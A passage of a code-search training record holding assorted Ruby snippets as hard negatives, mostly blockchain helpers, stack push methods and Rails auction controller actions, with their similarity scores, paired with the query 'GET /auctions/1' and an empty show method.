"def transfer(from_, to, amount)\n eth_sendTransaction(from: from_, to: to, value: amount)\n end",
"def send_packet(payload); end",
"def send(packet)\n id = Common.packet_to_id(packet)\n data = [id, [packet.to_a]].to_msgpack\n\n @stream.write Common.encode_u16(data.length)\n @stream.write data\n end",
"def push(x)\n @stack1.push(x)\n end",
"def push(type, payload = '', opts = {})\n raise \"Mapper proxy not initialized\" unless identity && @options\n push = Push.new(type, payload, opts)\n push.from = @identity\n push.token = AgentIdentity.generate\n push.persistent = opts.key?(:persistent) ? opts[:persistent] : @options[:persistent]\n RightLinkLog.info(\"SEND #{push.to_s([:tags, :target])}\")\n @amqp.queue('request', :no_declare => @options[:secure]).publish(@serializer.dump(push))\n end",
"def enqueue_packet(payload); end",
"def push(item)\n conn.rpush key, item\n self\n end",
"def push(x)\n @stack.push(x)\n end",
"def send_push(type, payload = nil, target = nil, &callback)\n build_and_send_packet(:send_push, type, payload, target, callback)\n end",
"def push(item, data = nil)\n `#@native.pushState(#{data.to_n}, null, item)`\n end",
"def raw(message)\n self.network << message\n end",
"def see(address, hash)\n @pgsql.exec(\n 'INSERT INTO utxo (address, hash) VALUES ($1, $2) ON CONFLICT(address, hash) DO NOTHING',\n [address, hash]\n )\n @log.info(\"Bitcoin tx hash #{hash} recorded as seen at #{address}\")\n end",
"def push(x)\n @stack.push(x)\n end",
"def push(value)\n @handle.puts \" $PUSH #{value & 0x7f}\"\n end",
"def push(x)\n @stack.push(x)\n end",
"def transfer_command( amount, ship )\n\t\t\t\tTransferCommand.new @interface, amount, ship\n\t\t\tend",
"def handle_assemble_tx tx_hex, sig_pubs\n tx = Bitcoin::P::Tx.new(tx_hex.htb)\n sig_pubs.each.with_index do |sig_pub, idx|\n sig, pub = *sig_pub.map(&:htb)\n script_sig = Bitcoin::Script.to_signature_pubkey_script(sig, pub)\n tx.in[idx].script_sig_length = script_sig.bytesize\n tx.in[idx].script_sig = script_sig\n end\n tx = Bitcoin::P::Tx.new(tx.to_payload)\n tx.validator(@node.store).validate(raise_errors: true)\n tx.to_payload.hth\n rescue\n { error: \"Error assembling tx: #{$!.message}\" }\n end",
"def register_tx(data)\n transaction(:raw_register, data)\n end",
"def push(num)\n stack << num\n end",
"def state_push(parameters = {}, invocation_options = {})\n exec(RubyTerraform::Commands::StatePush,\n parameters, invocation_options)\n end",
"def push\n end",
"def push(element)\n @store << element #putting the element into the array, thereby putting it into the stack\n end",
"def push(x) \n @queue.insert(x)\n self\n end",
"def transaction(&block)\n @fb_txns << Rubyfb::Transaction.new(@fb_cxn)\n super &block\n end",
"def push(x)\n @q1.push x\n end",
"def finish\n self.class.pack(checksum)\n end",
"def transfer(amount, *args)\n do_transaction :transfer_out, amount, *args\n end",
"def add_transaction(act_txn)\n @transactions << act_txn\n end",
"def push(num)\n namespace + '_push_' + num.to_s\n end",
"def address\n payload = \"#{version}#{public_key_hash}#{checksum}\"\n Base58.encode(payload.to_i(16))\n end",
"def push_int(n)\n begin\n append_opcode(n)\n rescue ArgumentError\n append_data(Script.encode_number(n))\n end\n self\n end",
"def add_hex(hex)\n @hexes.push(hex)\n end",
"def buy(command)\n action = \"Bought\"\n description = command[1]\n value = \"(#{command[2]})\"\n timestamp = Time.now.to_s\n @t.say(\"Got your purchase: #{action}, #{description}, #{value}\")\n \n ledger_push(action, value, description, timestamp)\n \nend"
] |
[
"0.7770981",
"0.74936837",
"0.6628756",
"0.62979555",
"0.6219501",
"0.616331",
"0.60115564",
"0.6001621",
"0.5934116",
"0.5780398",
"0.57279056",
"0.5697864",
"0.5692557",
"0.56908506",
"0.56901455",
"0.5613454",
"0.56000316",
"0.5577189",
"0.5573167",
"0.5544541",
"0.55164886",
"0.5480817",
"0.54719687",
"0.54564726",
"0.54559934",
"0.54541945",
"0.5452942",
"0.5451564",
"0.5444635",
"0.544445",
"0.54417115",
"0.54262215",
"0.54258156",
"0.53872013",
"0.536137",
"0.53536904",
"0.5346639",
"0.53384376",
"0.531792",
"0.5312995",
"0.5312923",
"0.52945215",
"0.52805305",
"0.5263436",
"0.5263314",
"0.5259641",
"0.5258371",
"0.52502835",
"0.5243236",
"0.52387065",
"0.52313125",
"0.52224827",
"0.52202666",
"0.5209623",
"0.52057445",
"0.52057445",
"0.5203863",
"0.52035403",
"0.5200628",
"0.5200237",
"0.5197269",
"0.5196684",
"0.51958084",
"0.5195627",
"0.5183866",
"0.5182794",
"0.51758176",
"0.51752466",
"0.51730037",
"0.51658756",
"0.51644015",
"0.5162352",
"0.5154983",
"0.51544785",
"0.5151461",
"0.5149829",
"0.51466346",
"0.5128919",
"0.51111853",
"0.51105785",
"0.51002425",
"0.5089213",
"0.5087882",
"0.50832313",
"0.5073415",
"0.5073395",
"0.50542945",
"0.5038353",
"0.5035933",
"0.5030907",
"0.5026996",
"0.50085014",
"0.50064707",
"0.4996211",
"0.49847892",
"0.4977012",
"0.49766913",
"0.49757546",
"0.4974208",
"0.49718735"
] |
0.6494391
|
3
|
This method should fetch a block and return as a hash.
|
def block(hash)
best_of('block') do |api|
api.block(hash)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_block(blk_hash)\n raise \"Not implemented\"\n end",
"def get_broadhash\n blocks = self.blocks_get_status\n if blocks[\"success\"]\n return blocks[\"broadhash\"]\n else\n return nil\n end\n end",
"def block(hash)\n head = Sibit::Json.new(http: @http, log: @log).get(\n Iri.new('https://chain.api.btc.com/v3/block').append(hash)\n )\n data = head['data']\n raise Sibit::Error, \"The block #{hash} not found\" if data.nil?\n nxt = data['next_block_hash']\n nxt = nil if nxt == '0000000000000000000000000000000000000000000000000000000000000000'\n {\n provider: self.class.name,\n hash: data['hash'],\n orphan: data['is_orphan'],\n next: nxt,\n previous: data['prev_block_hash'],\n txns: txns(hash)\n }\n end",
"def getblock(hash)\n block = @api.request 'getblock', hash\n block[\"time\"] = Time.at(block[\"time\"]).utc if block.is_a? Hash\n block\n end",
"def raw_hash\n @raw_hash ||= raw_hash_with_cycles[:block]\n end",
"def getblock(hash, verbosity)\n rpc_call('getblock', hash, verbosity)\n end",
"def sdk_block\n @sdk_block ||=\n Rails.cache.fetch([\"Block\", block_hash, \"object\"], expires_in: 1.hour) do\n CKB::Types::Block.from_h(original_raw_hash)\n end\n end",
"def latest\n get_json('/latestblock')['hash']\n end",
"def processed_block_for_hash(hash)\n if Toshi::Models::Block.where(hsh: hash).empty?\n return nil\n end\n stored_block = Toshi::Models::RawBlock.where(hsh: hash).first\n if !stored_block\n return nil\n end\n Bitcoin::Protocol::Block.new(stored_block.payload)\n end",
"def hash(block)\n Digest::SHA256.hexdigest(block.to_s.encode)\n end",
"def getblockhash(index)\n @api.request 'getblockhash', index\n end",
"def on_get_block(hash)\n log.debug { \">> get block: #{hash.hth}\" }\n blk = @node.store.get_block(hash.hth)\n return unless blk\n pkt = Bitcoin::Protocol.pkt(\"block\", blk.to_payload)\n log.debug { \"<< block: #{blk.hash}\" }\n send_data pkt\n end",
"def latest\n uri = Iri.new('https://chain.api.btc.com/v3/block/latest')\n json = Sibit::Json.new(http: @http, log: @log).get(uri)\n data = json['data']\n raise Sibit::Error, 'The latest block not found' if data.nil?\n hash = data['hash']\n @log.info(\"The hash of the latest block is #{hash}\")\n hash\n end",
"def block_hash\n\t\tdigest = Digest::SHA2.new\n\n\t\tdigest << '%d' % [ self.index ]\n\t\tdigest << self.timestamp.strftime( '%s%N' )\n\t\tdigest << self.payload\n\t\tdigest << self.payload_hash\n\t\tdigest << self.proof.to_s\n\t\tdigest << self.previous_hash\n\t\t\n\t\treturn digest.hexdigest\n\tend",
"def raw_block_for_hash(hash)\n stored_raw_block = Toshi::Models::RawBlock.where(hsh: hash).first\n if !stored_raw_block\n return nil\n end\n Bitcoin::Protocol::Block.new(stored_raw_block.payload)\n end",
"def raw_hash_with_cycles\n @raw_hash_with_cycles ||= self.class.fetch_raw_hash_with_cycles block_hash\n end",
"def calculate_block_hash(block)\n Digest::SHA256.hexdigest(block.block_index.to_s + block.previous_block_hash + block.timestamp + block.data)\n end",
"def parse_info(block)\r\n\t\tinfo = Hash.new\r\n\t\tinfo['original'] = block\r\n\r\n\t\tblock = block.split('|')\t# splits the block by the regex '|'\r\n\t\tif block.length != 5\r\n\t\t\tputs 'Invalid block format, should consist of only 5 elements'\r\n\t\t\tputs 'BLOCKCHAIN INVALID'\r\n\t\t\texit()\r\n\t\tend\t\t\r\n\r\n\t\tinfo['id'] = block[0].to_i\r\n\t\tinfo['prev_hash'] = block[1]\r\n\t\tinfo['transaction'] = block[2].split(':')\t# splits transaction by the regex ':'\r\n\t\tinfo['ts'] = {'sec': block[3].split('.')[0].to_i, 'nsec': block[3].split('.')[1].to_i}\r\n\t\t#puts info['ts']\r\n\t\tinfo['self_hash'] = block[4]\r\n\t\treturn info\r\n\tend",
"def latest\n Sibit::Json.new(http: @http, log: @log).get(\n URI('https://blockchain.info/latestblock')\n )['hash']\n end",
"def get_block_by_prev_hash(prev_hash)\n raise \"Not implemented\"\n end",
"def block_by_hash(_hsh)\n raise NotImplementedError\n end",
"def block(_hash)\n raise Sibit::NotSupportedError, 'block() doesn\\'t work here'\n end",
"def read_block(session_id, block_id, nonce)\n _check_block_id block_id\n session_cache_entry = @allocator.session_cache_entry session_id\n data = @storage.read_block block_id\n hmac = @hash_tree_controller.sign_read_block block_id, session_cache_entry, nonce \n return data, hmac\n end",
"def blocks_to_hash(blocks)\n blocks.each_with_object({}) do |block, hash|\n hash.merge!(block.to_hash)\n end\n end",
"def height_for_block(hash)\n height = guard_block_index_access do\n bh = @block_index.block_header_for_hash(hash)\n bh && bh.height\n end\n return height if height\n b = Toshi::Models::Block.where(hsh: hash).first\n b ? b.height : nil\n end",
"def create_hash(&block); end",
"def create_hash(&block); end",
"def get_next_block\n @store.get_block_by_prev_hash(@hash)\n end",
"def send_getdata_block(hash)\n pkt = Protocol.getdata_pkt(:block, [hash])\n log.debug { \"<< getdata block: #{hash.hth}\" }\n send_data(pkt)\n end",
"def hash(block, stored_hash, hash_calc, block_check, line)\r\n return 'Block empty' if block.nil?\r\n\r\n # calculate hash value for line\r\n error = \"Line #{line}: Invalid hash set to #{stored_hash.strip}\"\r\n\r\n # if hash stored as with capital letters, return error\r\n stored_hash = stored_hash.strip # get rid of trailing white space\r\n int_hash = stored_hash.to_i(16) # get stored hash and convert to decimal\r\n # check lenght of stored hash(max4)...may be optiaml to place elsewhere\r\n return error + \"\\nHash length is too big\" if stored_hash.size >= 5\r\n\r\n # check hash for leading 0's\r\n return error + \"\\nHash contains leading zeros\" if stored_hash[0] == '0' && stored_hash.size > 1\r\n\r\n # check to make sure value is valid hex values\r\n return error + \"\\nInvalid hex value, must be lowercase and from 0-f\" unless block_check.check_hex(stored_hash)\r\n\r\n # see if calculated hash and stored has match\r\n hash = block_check.get_hash(block, hash_calc) # get hash value\r\n # removes last hash from string\r\n output_string = block_check.parse(block, '|' + stored_hash)\r\n error_two = \"Line #{line}: String '#{output_string[0]}' hash set to #{stored_hash.strip},\"\\\r\n \"should be #{hash.to_s(16)}\"\r\n return error_two unless block_check.check_hash(hash, int_hash)\r\n\r\n nil\r\n end",
"def block(_hash)\n raise Sibit::NotSupportedError, 'Blockchair doesn\\'t implement block()'\n end",
"def fetch_hash!\n fetch0(Hash, true)\n end",
"def fetch_hash\n fetch0(Hash, false)\n end",
"def valid_block_for_hash(hash)\n if !Toshi::Models::Block.main_or_side_branch.where(hsh: hash).first\n return nil\n end\n stored_block = Toshi::Models::RawBlock.where(hsh: hash).first\n if !stored_block\n return nil\n end\n Bitcoin::Protocol::Block.new(stored_block.payload)\n end",
"def get_block id\n block = self.blocks_get_by_id id\n if block[\"success\"]\n return block[\"block\"]\n else\n return nil\n end\n end",
"def block\n blockable.blocks.detect{|b| b.identifier == self.identifier.to_s} || \n blockable.blocks.build(:identifier => self.identifier.to_s)\n end",
"def get_blocks\n @blocks\n end",
"def get_block\n return nil unless @blk_id\n @block ||= @store.get_block_by_id(@blk_id)\n end",
"def block_class() Block; end",
"def fetch(block_name)\n @names[block_name.to_s] || []\n end",
"def hash\n @hash ||= @client.get_hash(path)\n @hash\n end",
"def hash\n @hash ||= @client.get_hash(path)\n @hash\n end",
"def handle_store_block hex\n block = Bitcoin::P::Block.new(hex.htb)\n @node.queue << [:block, block]\n { queued: [ :block, block.hash ] }\n end",
"def id\n @block\n end",
"def id\n @block\n end",
"def get_block(*params); raise('Stub or mock required.') end",
"def hash\n @content.hash\n end",
"def latest_block\n hash = db.best_hash\n return nil unless hash\n find_entry_by_hash(hash)\n end",
"def store_raw_block(block)\n payload = block.payload || block.to_payload\n if Toshi::Models::RawBlock.where(hsh: block.hash).empty?\n Toshi::Models::RawBlock.new(hsh: block.hash, payload: payload).save\n end\n end",
"def get_block_by_tx(tx_hash)\n raise \"Not implemented\"\n end",
"def load_cycloHash()\n @cycloHash = Hash.new\n @block.each do|key,value|\n @cycloHash[key]=value.each_cyclo()\n end\n end",
"def get_nethash\n blocks = self.blocks_get_nethash\n if blocks[\"success\"]\n return blocks[\"nethash\"]\n else\n return nil\n end\n end",
"def get_parsable\n @block ||= Block.new\n end",
"def remote\n require 'blockspring'\n\n _, key = Blockspring::CLI::Auth.get_credentials\n\n block_id = @args[0]\n\n myBlock = lambda do |request, response|\n response = Blockspring.run(block_id, request.params, key)\n\n # TODO: don't autoparse the json in the library, I want the raw json\n puts response.to_json\n end\n\n Blockspring.define(myBlock)\n end",
"def height(hash)\n json = Sibit::Json.new(http: @http, log: @log).get(\n Iri.new('https://chain.api.btc.com/v3/block').append(hash)\n )\n data = json['data']\n raise Sibit::Error, \"The block #{hash} not found\" if data.nil?\n h = data['height']\n raise Sibit::Error, \"The block #{hash} found but the height is absent\" if h.nil?\n @log.info(\"The height of #{hash} is #{h}\")\n h\n end",
"def getblocknumber\n request :getblocknumber\n end",
"def block_to_hash(default = {}, &block)\n default.merge((yield HashWithAccessors.new(default)).to_hash) if block_given?\n end",
"def to_h\n (@value || HashBuilder.new(&@block)).to_h\n end",
"def test_same_hashes\r\n\t\ts = \"Addr1<Addr2(100):Addr3<Addr4(500)\"\r\n\t\ttb = Block.new(0,0,s,0.0,\"90a2\")\r\n\t\ttb.set_calculated_hash(\"90a2\")\r\n\t\t\r\n\t\tassert_equal(1, tb.compare_current_hash)\r\n\tend",
"def new_block blk\n time = Time.now\n res = store_block(blk)\n log.info { \"block #{blk.hash} \" +\n \"[#{res[0]}, #{['main', 'side', 'orphan'][res[1]]}] \" +\n \"(#{\"%.4fs, %3dtx, %.3fkb\" % [(Time.now - time), blk.tx.size, blk.payload.bytesize.to_f/1000]})\" } if res && res[1]\n res\n end",
"def mmc_blockinfo\n\n # number of latest block\n @blckhigh = `#{@mmc_path} getblockcount`\n\n # hash of latest block\n blckhash = `#{@mmc_path} getblockhash #{@blckhigh}`\n\n # complete json of latest block\n blckinfo = `#{@mmc_path} getblock #{blckhash}`\n\n # difficulty of latest block\n @blckdiff = `#{@mmc_path} getdifficulty`\n\n # number of 30th latest block\n rcnthigh = @blckhigh.to_i - 30\n\n # hash of 30th latest block\n rcnthash = `#{@mmc_path} getblockhash #{rcnthigh}`\n\n # complete json of 30th latest block\n rcntinfo = `#{@mmc_path} getblock #{rcnthash}`\n\n # timestamp of latest block\n blcktime = JSON.parse(blckinfo)['time'].to_i\n\n # timestamp of 30th latest block\n rcnttime = JSON.parse(rcntinfo)['time'].to_i\n\n # average blocktime of 30 last blocks in seconds\n @blocktime = (blcktime.to_f - rcnttime.to_f) / 30.0\n\n # current hashrate in hashs per minute\n @hashrate = ((2 ** 32) * @blckdiff.to_f) / (@blocktime.to_f / 60.0)\n\n # calculates current block reward and total minted coins\n i = 0\n currweek = ((@blckhigh.to_f / 1680.0) - 0.5).round\n @reward = 280.0 ### @TODO: initial reward was limited, PTS shares\n @minted = 715842.49 ### @TODO: initial reward was limited, PTS shares\n while i < currweek do\n @minted += @reward * 1680.0\n @reward *= 0.95\n i += 1\n end\n @minted += (@blckhigh.to_f - (currweek * 1680.0)) * @reward\n\nend",
"def test_different_hashes\r\n\t\ts = \"Addr1<Addr2(100):Addr3<Addr4(500)\"\r\n\t\ttb = Block.new(0,0,s,0.0,\"90a2\")\r\n\t\ttb.set_calculated_hash(\"10b4\")\r\n\t\t\r\n\t\tassert_equal(0, tb.compare_current_hash)\r\n\tend",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def mainchain_tip_hash\n head = Toshi::Models::Block.head\n head ? head.hsh : nil\n end",
"def block_header_for_hash(hash)\n guard_block_index_access { @block_index.block_header_for_hash(hash) } || valid_block_for_hash(hash)\n end",
"def check_block_hash(curr_block)\n # rubocop:disable LineLength\n block_hash_string = curr_block.block_number + '|' + curr_block.prev_block_hash + '|' + curr_block.raw_transactions + '|' + curr_block.timestamp[0] + '.' + curr_block.timestamp[1]\n # rubocop:enable LineLength\n block_hash_string.unpack('U*')\n\n # splits the string into each character\n hash_parts = block_hash_string.split('')\n\n res = 0\n # OPTIMIZATION: store the hashes of characters so we can reuse them\n hash_parts.each do |x|\n # this returns the integer ordinal after we converted to UTF-8\n x = x.ord\n hash_array[x] = ((x**3000) + (x**x) - (3**x)) * (7**x) if hash_array[x].nil?\n res += hash_array[x]\n end\n\n # module result by constant 65536\n res = res % 65_536\n # resulting hash string in base-16\n resulting_hash = res.to_s(16)\n return unless resulting_hash != curr_block.block_hash\n\n @block_hash_error = true\n # rubocop:disable LineLength\n puts \"Line #{@curr_count}: String '#{block_hash_string}' hash set to #{curr_block.block_hash}, should be #{resulting_hash}\"\n # rubocop:enable LineLength\n puts 'BLOCKCHAIN INVALID'\n exit 1\n end",
"def retrieve\n if scope == 'preview'\n if alternate_blocks_retriever.blocks_attributes.present?\n alternate_blocks_retriever.block(identifier)\n else\n blocks_retriever.block(identifier)\n end\n else\n blocks_retriever.block(identifier) if blocks_retriever.live?\n end\n end",
"def block_type\n @grpc.block_type.to_sym\n end",
"def getblocknumber\n coind.getblocknumber\n end",
"def getblockheader(block_id, verbose)\n block_hash = block_id.rhex\n entry = node.chain.find_entry_by_hash(block_hash)\n raise ArgumentError.new('Block not found') unless entry\n if verbose\n {\n hash: block_id,\n height: entry.height,\n version: entry.header.version,\n versionHex: entry.header.version.to_even_length_hex,\n merkleroot: entry.header.merkle_root.rhex,\n time: entry.header.time,\n mediantime: node.chain.mtp(block_hash),\n nonce: entry.header.nonce,\n bits: entry.header.bits.to_even_length_hex,\n previousblockhash: entry.prev_hash.rhex,\n nextblockhash: node.chain.next_hash(block_hash).rhex\n }\n else\n entry.header.to_hex\n end\n end",
"def save_block(block)\n db.transaction do\n db[:l] = block.hash\n db[block.hash] = block\n db.commit\n end\n block\n end",
"def orphan_block_for_hash(hash)\n if Toshi::Models::Block.orphan_branch.where(hsh: hash).empty?\n return nil\n end\n stored_block = Toshi::Models::RawBlock.where(hsh: hash).first\n if !stored_block\n return nil\n end\n Bitcoin::Protocol::Block.new(stored_block.payload)\n end",
"def on_getblocks(version, hashes, stop_hash)\n log \">> getblocks: #{version}, #{hashes.size}, #{stop_hash}\"\n end",
"def block_number\n request('getblocknumber')\n end",
"def check_block_header(header, state)\n header.block_hash\n header.bits\n\n end",
"def getblocknumber\n @api.request 'getblocknumber'\n end",
"def next_of(hash)\n head = Sibit::Json.new(http: @http, log: @log).get(\n Iri.new('https://chain.api.btc.com/v3/block').append(hash)\n )\n data = head['data']\n raise Sibit::Error, \"The block #{hash} not found\" if data.nil?\n nxt = data['next_block_hash']\n nxt = nil if nxt == '0000000000000000000000000000000000000000000000000000000000000000'\n @log.info(\"In BTC.com the block #{hash} is the latest, there is no next block\") if nxt.nil?\n @log.info(\"The next block of #{hash} is #{nxt}\") unless nxt.nil?\n nxt\n end",
"def parse_block_html; end",
"def get_best_block\n synced = self.loader_status_sync\n if synced[\"success\"]\n return synced[\"height\"]\n else\n return nil\n end\n end",
"def block\n options.fetch(:block)\n end",
"def blocks\n object.blocks.map{ |x|\n ShallowBlockSerializer.new(x)\n }\n end"
] |
[
"0.72323686",
"0.69136924",
"0.68672067",
"0.68660164",
"0.6729535",
"0.6724822",
"0.6699785",
"0.66763395",
"0.6673845",
"0.66024655",
"0.65771776",
"0.6576785",
"0.65620834",
"0.6533197",
"0.6496154",
"0.648678",
"0.64812875",
"0.633472",
"0.6256645",
"0.62354255",
"0.6222263",
"0.62051827",
"0.61751026",
"0.6173745",
"0.6166005",
"0.61599624",
"0.61599624",
"0.61052054",
"0.6102233",
"0.6077539",
"0.6045396",
"0.60141253",
"0.6012835",
"0.5974247",
"0.59734553",
"0.5964373",
"0.59604853",
"0.59464043",
"0.5926627",
"0.5925004",
"0.5895392",
"0.5895392",
"0.5887978",
"0.58727425",
"0.58727425",
"0.5871215",
"0.58681506",
"0.58578056",
"0.5778519",
"0.5776989",
"0.5772776",
"0.5743831",
"0.5742582",
"0.57398546",
"0.5730621",
"0.57083315",
"0.57032394",
"0.57000774",
"0.5689417",
"0.56860065",
"0.5677827",
"0.5672555",
"0.5664377",
"0.5664377",
"0.5664377",
"0.5664377",
"0.5664377",
"0.5664377",
"0.5664377",
"0.5664377",
"0.5664377",
"0.5664377",
"0.5664377",
"0.5664377",
"0.5664377",
"0.5664377",
"0.5664377",
"0.5664377",
"0.5664377",
"0.5664377",
"0.5664377",
"0.5664377",
"0.5660497",
"0.56598973",
"0.55915886",
"0.5589191",
"0.558842",
"0.5587528",
"0.5568931",
"0.5560538",
"0.55566865",
"0.5554599",
"0.5553956",
"0.55508107",
"0.5545414",
"0.5538678",
"0.55372185",
"0.55355364",
"0.5525396",
"0.55229706"
] |
0.6190091
|
22
|
GET /auctions/1 GET /auctions/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n\t\t@auction_items = @auction.auction_items\n\t\trender json: @auction_items.as_json\n\tend",
"def index\n @bids = Bid.where(\"auction_id = ?\", params[:auction_id])\n\n render json: @bids\n end",
"def show\n render json: @auction\n end",
"def show\n\t\trender json: @auction_item.as_json\n\tend",
"def index\n user_id = @user.id\n @auctions = Auction.where(\"seller_id = ?\", user_id)\n\n # get all belong auctions\n render json: @auctions\n end",
"def show\n #@item = Bid.find(params[:auction_uniq_id])\n\n @bid = Bid.all\n @item = Item.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bid }\n end\n end",
"def show\n \n @auction = Auction.find(params[:id])\n\tadd_crumb @auction.title, ''\n\t\n\t# check the owner of auction\n\t@user = User.find(@auction.user_id)\n\t@owner = current_user == @user\n\t\t\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @auction }\n end\n end",
"def index\n if current_user.admin? || current_user.creator?\n @auctions = Auction.all\n else\n @auctions = current_user.auctions\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @auctions }\n end\n end",
"def new\n @auction = Auction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @auction }\n end\n end",
"def index\n @auction_items = AuctionItem.all\n end",
"def show\n @auction = Auction.find(params[:id])\n @auction_users = AuctionUser.find_all_by_auction_id(params[:id])\n if (@auction.phase == Auction::PHASES[:first]) || (@auction.phase == Auction::PHASES[:start]) && !(current_user.auction_admin?)\n @auction_user = AuctionUser.find_by_user_id(current_user.id)\n end\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @auction }\n end\n end",
"def index\n @auction1s = Auction1.all\n \n end",
"def show\n @bidding = Bidding.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bidding }\n end\n end",
"def index\n @auctions = Auction.find_consignments\n respond_to do |format|\n format.html # index.rhtml\n end\n end",
"def index\n @bids = @item.auction.bids\n end",
"def index\n @comments = Comment.where(\n \"auction_id = ? \",\n params[:auction_id])\n\n render json: @comments\n end",
"def index\n #@auctions = Auction.all\n\t@search = Auction.search(params[:search])\n @auctions = @search.all\n\t@auctions = @search.paginate(:page => params[:page], :per_page => 8)\n\t\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @auctions }\n end\n end",
"def index\n @biddings = Bidding.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @biddings }\n end\n end",
"def item(opts={})\r\n opts[:output] = 'json'\r\n opts[:callback] = 'callback'\r\n Yahoo::Request.get(\"http://auctions.yahooapis.jp/AuctionWebService/V2/auctionItem\", Yahoo::Api.merge(opts))\r\n end",
"def new\n authenticate_user!\n @auction = Auction.new\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @auction }\n end\n end",
"def show\n render json: @bid\n end",
"def all \n @auctions\n end",
"def show\n @auction_item = AuctionItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @auction_item }\n end\n end",
"def index\n\n @auctionables = Auctionable.all\n end",
"def set_auction\n @auction = Auction.find(params[:id])\n end",
"def set_auction\n @auction = Auction.find(params[:id])\n end",
"def set_auction\n @auction = Auction.find(params[:id])\n end",
"def set_auction\n @auction = Auction.find(params[:id])\n end",
"def set_auction\n @auction = Auction.find(params[:id])\n end",
"def show\n @bid = current_user.bids.where(auction_id: params[:auction_id]).order(amount: :desc).offset(1).first\n end",
"def show\n @user = User.find_by_id(session[:user_id])\n @auction = Auction.find(params[:id])\n @seller = User.find_by_username(@auction.user_name)\n @bid = Bid.new\n @bid.auction_id = @auction.id\n @bid_count = Bid.find_by_sql(\"SELECT COUNT(auction_id) AS bid_count FROM bids WHERE auction_id = #{@auction.id}\")\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @auction }\n end\n end",
"def index\n @merchant = Merchant.find(session[:user_id])\n \n @auctions = Auction.find(:all, :conditions => [\"`merchant_id` = ? and auction_start <= ? and auction_end >= ? and auction_ended != ? and auction_deleted != ?\",@merchant.merchant_id, Time.now.iso8601, Time.now.iso8601, \"1\", \"1\"], :order => \"auction_start desc\")\n \n @auctions.each do |a|\n url = URI.parse('http://beta.ayopasoft.com/AyopaServer/current-auction-info')\n post_args1 = {'auctionID' => a.auction_id}\n resp, data = Net::HTTP.post_form(url, post_args1)\n result = JSON.parse(data)\n \n a.current_price = result['current_price'] \n a.current_level = result['current_level']\n a.next_price = result['next_price']\n a.next_level = result['next_level']\n a.lowest_price = result['lowest_price']\n a.lowest_level = result['lowest_level']\n a.rebate_total = result['rebate_total']\n a.commission_total = result['commission_total']\n a.auction_total = result['auction_total']\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @merchants }\n end\n end",
"def index\n @bounties = Bounty.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @bounties }\n end\n end",
"def index\n @bids = Bid.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bids }\n end\n end",
"def index\n @arrangements = Arrangement.query_list(params[:auction_id], params[:accept_status])\n render json: @arrangements, status: 200\n end",
"def show\n @bet = Bet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bet }\n end\n end",
"def index\n @items = Item.all\n @budget = Budget.find params[:budget_id]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def bid_lists\n\t\tauction_item_bids = @auction.auction_item_bids.where(user_id: current_user.id)\n\t\trender json: @auction_item_bids.as_json\n\tend",
"def show\n @bowl = Bowl.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @bowl }\n end\n end",
"def show\n @beer = BreweryDB.beer(params[:id]) \n render json: @beer\n end",
"def set_auction1\n @auction1 = Auction1.find(params[:id])\n end",
"def show\n @bid = Bid.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_bid }\n end\n end",
"def set_bid\n @bid = Bid.find_by({\n :id => params[:id],\n :auction_id => params[:auction_id]})\n\n render json: nil, status: :not_found if @bid.nil? || @bid.auction.seller.id != @user.id\n end",
"def set_auction_item\n @auction_item = AuctionItem.find(params[:id])\n end",
"def index\n @birds = Bird.all.to_a\n begin\n respond_to do |format|\n format.json { render json: {items: @birds, description: \"List all visible birds in the registry\", additionalProperties: false, title: \"POST /birds [request]\",:status => OK } }\n end\n rescue => e\n render json: ({:status => INTERNAL_SERVER_ERROR})\n end\n end",
"def index\n @buisnesses = Buisness.all\n\n render json: @buisnesses \n end",
"def show\n render \"api/v1/bounties/show\"\n end",
"def show\n render json: @bike #serializer: Web::V1::BikeSerializer\n end",
"def show\n\n\n @buisness = Buisness.find(params[:id])\n\n if @buisness==nil\n render text: \"Cannot find the specified buisness in the database\"\n end\n render json: @buisness\n end",
"def show\n @brewhouse = Brewhouse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @brewhouse }\n end\n end",
"def set_auction_item\n @auction_item = AuctionItem.find(params[:id])\n end",
"def set_auction_item\n @auction_item = AuctionItem.find(params[:id])\n end",
"def index\n @super_bowl_picks = SuperBowlPick.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @super_bowl_picks }\n end\n end",
"def new\n @bid = Bid.new\n @item = Item.find(params[:id])\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bid }\n end\n end",
"def show\n @boat = Boat.find(params[:id])\n\n render json: @boat\n end",
"def show\n \trespond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bid }\n end\n end",
